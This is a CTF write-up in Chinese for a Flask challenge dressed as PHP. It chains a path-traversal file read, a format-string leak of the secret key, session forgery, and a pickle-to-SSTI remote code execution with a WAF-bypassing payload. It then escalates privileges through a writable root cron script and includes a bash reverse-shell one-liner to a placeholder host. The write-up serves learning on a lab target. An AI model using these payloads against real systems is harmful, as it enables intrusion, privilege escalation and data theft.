从一道题看利用pickle反序列化去打SSTI渲染模板达到RCE
吕钦杨 发表于 四川 WEB安全 1938浏览 · 2024-05-20 06:57

前言
该题是2023春秋杯冬季赛web的一道题,我们拿到pickle反序列化漏洞时的一般思路是通过重写reduce方法达到rce,当过滤多且对字符数量有限制,似乎手写opcode不能破局,笔者通过做了该题,认识到渲染模板的危害和精妙,故将此文件分享给大家,如有不对,大家多多指教。

考点
披着php皮的python加任意文件读取加格式化字符串泄露key加session伪造加文件上传加Python原生反序列化命令执行加渲染模板加赋权

攻击
打开靶机访问

又是个登录框 今天看别的wp看见了一句话 贴下下

看到login,很容易猜到register是否存在

发现存在,那我们先注册一下

返回了用户名和密码的哈希(我这里注册是密码是1)即1的哈希
登陆后我习惯看一眼cookie 看看是否有session之类的认证

还真有

返回个这个 点击发现是个文件上传的功能

常规思路上传php文件getshell啥的,

发现给我们跳转到了pic.php我们点击一下

发现base64 且给我们转成了img标签格式

解码发现是我们上传的内容,这里我们可以想到pic.php通过pic参数接受文件,然后读取文件内容并给我们转成Base64输出,我们猜测很可能存在任意文件读取漏洞
我们试着通过路径穿越去读/etc/passwd

读不到 我们试一下双写绕过

得到了 我们进行解码

发现存在漏洞 我们在读取一些常见的比如
获取当前进程环境变量/proc/self/environ,获取当前启动进程/proc/self/cmdline

这下可以确实是python服务
尝试读app.py 一般在app目录下

解码得

import os
import pickle
import base64
import hashlib
from flask import Flask,request,session,render_template,redirect
from Users import Users
from waf import waf

users=Users()

app=Flask(__name__)
app.template_folder="./"
app.secret_key=users.passwords['admin']=hashlib.md5(os.urandom(32)).hexdigest()
@app.route('/',methods=['GET','POST'])
@app.route('/index.php',methods=['GET','POST'])
def index():
    if not session or not session.get('username'):
        return redirect("login.php")

    if request.method=="POST" and 'file' in request.files and (filename:=waf(request.files['file'])):
        filepath=os.path.join("./uploads",filename)
        request.files['file'].save(filepath)
        return "File upload success! Path: <a href='pic.php?pic="+filename+"'>"+filepath+"</a>."
    return render_template("index.html")

@app.route('/login.php',methods=['GET','POST'])
def login():
    if request.method=="POST" and (username:=request.form.get('username')) and (password:=request.form.get('password')):
        if type(username)==str and type(password)==str and users.login(username,password):
            session['username']=username
            return "Login success! <a href='/'>Click here to redirect.</a>"
        else:
            return "Login fail!"
    return render_template("login.html")

@app.route('/register.php',methods=['GET','POST'])
def register():
    if request.method=="POST" and (username:=request.form.get('username')) and (password:=request.form.get('password')):
        if type(username)==str and type(password)==str and not username.isnumeric() and users.register(username,password):
            str1 = "Register successs! Your username is {username} with hash: {{users.passwords[{username}]}}.".format(username=username).format(users=users)
            return str1
        else:
            return "Register fail!"
    return render_template("register.html")

@app.route('/pic.php',methods=['GET','POST'])
def pic():
    if not session or not session.get('username'):
        return redirect("login.php")
    if (pic:=request.args.get('pic')) and os.path.isfile(filepath:="./uploads/"+pic.replace("../","")):
        if session.get('username')=="admin":
            return pickle.load(open(filepath,"rb"))
        else:
            return '''<img src="data:image/png;base64,'''+base64.b64encode(open(filepath,"rb").read()).decode()+'''">'''
    res="<h1>files in ./uploads/</h1><br>"
    for f in os.listdir("./uploads"):
        res+="<a href='pic.php?pic="+f+"'>./uploads/"+f+"</a><br>"
    return res

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

顺便把waf.py Users.py读了

import os
from werkzeug.utils import secure_filename

def waf(file):
    if len(os.listdir("./uploads"))>=4:
        os.system("rm -rf /app/uploads/*")

    content=file.read().lower()
    if len(content)>=70:
        return False

    for b in [b"\n",b"\r",b"\\",b"base",b"builtin",b"code",b"command",b"eval",b"exec",b"flag",b"global",b"os",b"output",b"popen",b"pty",b"repeat",b"run",b"setstate",b"spawn",b"subprocess",b"sys",b"system",b"timeit"]:
        if b in content:
            return False

    file.seek(0)
    return secure_filename(file.filename)
import hashlib

class Users:
    passwords={}

    def register(self,username,password):
        if username in self.passwords:
            return False
        if len(self.passwords)>=3:
            for u in list(self.passwords.keys()):
                if u!="admin":
                    del self.passwords[u]
        self.passwords[username]=hashlib.md5(password.encode()).hexdigest()
        return True

    def login(self,username,password):
        if username in self.passwords and self.passwords[username]==hashlib.md5(password.encode()).hexdigest():
            return True
        return False

分析源码可得 首先得flask session伪造成admin ,
app.secret_key=users.passwords['admin']=hashlib.md5(os.urandom(32)).hexdigest()
key=admin密码的哈希值,那我们就要读admin的密码

@app.route('/register.php',methods=['GET','POST'])
def register():
if type(username)==str and type(password)==str and not username.isnumeric() and users.register(username,password):
str1 = "Register successs! Your username is {username} with hash: {{users.passwords[{username}]}}.".format(username=username).format(users=users)

这里存在格式化字符串漏洞
p牛的文章
https://www.leavesongs.com/PENETRATION/python-string-format-vulnerability.html
我们注册用户名位{users.passwords}能把所有用户名密码打印出来

接下来flask解密

python3 flask_session_cookie_manager3.py decode -c "eyJ1c2VybmFtZSI6ImEifQ.ZbJELw.ZQ5Ok16mtNrs7qbQbIfNSk7HjjA" -s "036197d2cb927e572ad60e67b7c5a95c"

成功 接下来伪造admin

python3 flask_session_cookie_manager3.py encode -s "036197d2cb927e572ad60e67b7c5a95c" -t "{'username': 'admin'}"

接下来就是打pickle啦(本人做到这,后面不会了,我以为我就差一步了,没想到是万丈深渊)

if (pic:=request.args.get('pic')) and os.path.isfile(filepath:="./uploads/"+pic.replace("../","")):
if session.get('username')=="admin":
return pickle.load(open(filepath,"rb"))

会对我们上传的文件进行pickle的反序列化操作 但这里的waf可以说非常的多(换行回车也被过滤了) 且还有字符长度限制,一般常规思路的上传自己编写的opcode的思路是行不通,结合题目环境存在任意文件上传点,且最为关键的一点是设置了flask app的模板渲染路径为./(也就是/app):这边考虑上传模板,经过模板渲染打SSTI

app.template_folder="./"
而我们上传文件的上传路径为./uploads/,所以我们上传的所有文件都可以被作为flask的模板文件进行渲染,同时Web源代码中也引入调用了render_template函数对模板文件进行渲染,审计代码不难推断出所有的模板文件都是存放在./也就是/app目录下的。那我们自然也可以按照这个思路通过任意文件上传点上传一个恶意的可以实现模板注入SSTI的POC模板文件,然后再通过pickle反序列化调用render_template函数渲染它即可实现pickle to SSTI的攻击思路。
那我们首先需要构造一个长度不能达到70的SSTI payload,并且需要绕过waf函数的过滤,对于SSTI的攻击思路来说这样的过滤是比较好绕过的,因为字符串可以任意构造,长度的限制也可以使用lipsum构造一个短的SSTI注入,于是有payload:

{{lipsum['__glob''als__']['__built''ins__']['ev''al'](request.data)}}

保存为poc文件后上传。继续构造pickle反序列化EXP:

import pickle
from flask import render_template

class EXP():
    def __reduce__(self):
        return(render_template,("uploads/poc",))

exp=EXP()
f=open("exp","wb")
pickle.dump(exp,f)

得到生成的exp文件上传(长度正好小于70),随后带上伪造好的admin用户的session打 (data处传参)

ls / -al发现/flag权限为700而我们为ctf用户无法读取:

cat /start.sh发现启动容器时root用户执行的命令脚本,其中会定期执行/app/clear.sh这个脚本清理上传的文件:

ls -al发现clear.sh权限为766,我们作为ctf用户有修改的权限:

那我们这里直接修改clear.sh脚本的内容然后等待就可以每10分钟以root用户身份权限执行一次命令了,这里直接写入:cat /flag > flag到clear.sh

等待十分钟后 发现flag被写在当前目录了直接cat flag即可


或者反弹shell上线,避免上传的poc exp被删了
import('os').popen('bash -c "bash -i >& /dev/tcp/x.x.x.x/9999 <&1"').read()
其他操作就和上面大差不差了

总结
至此我们可以总结一下:该漏洞利用其实是存放模板的位置和我们pickle漏洞攻击的文件在同一目录下,再通过调用render_template函数渲染它,即可实现pickle to SSTI的攻击思路

0 条评论
某人
表情
可输入 255
目录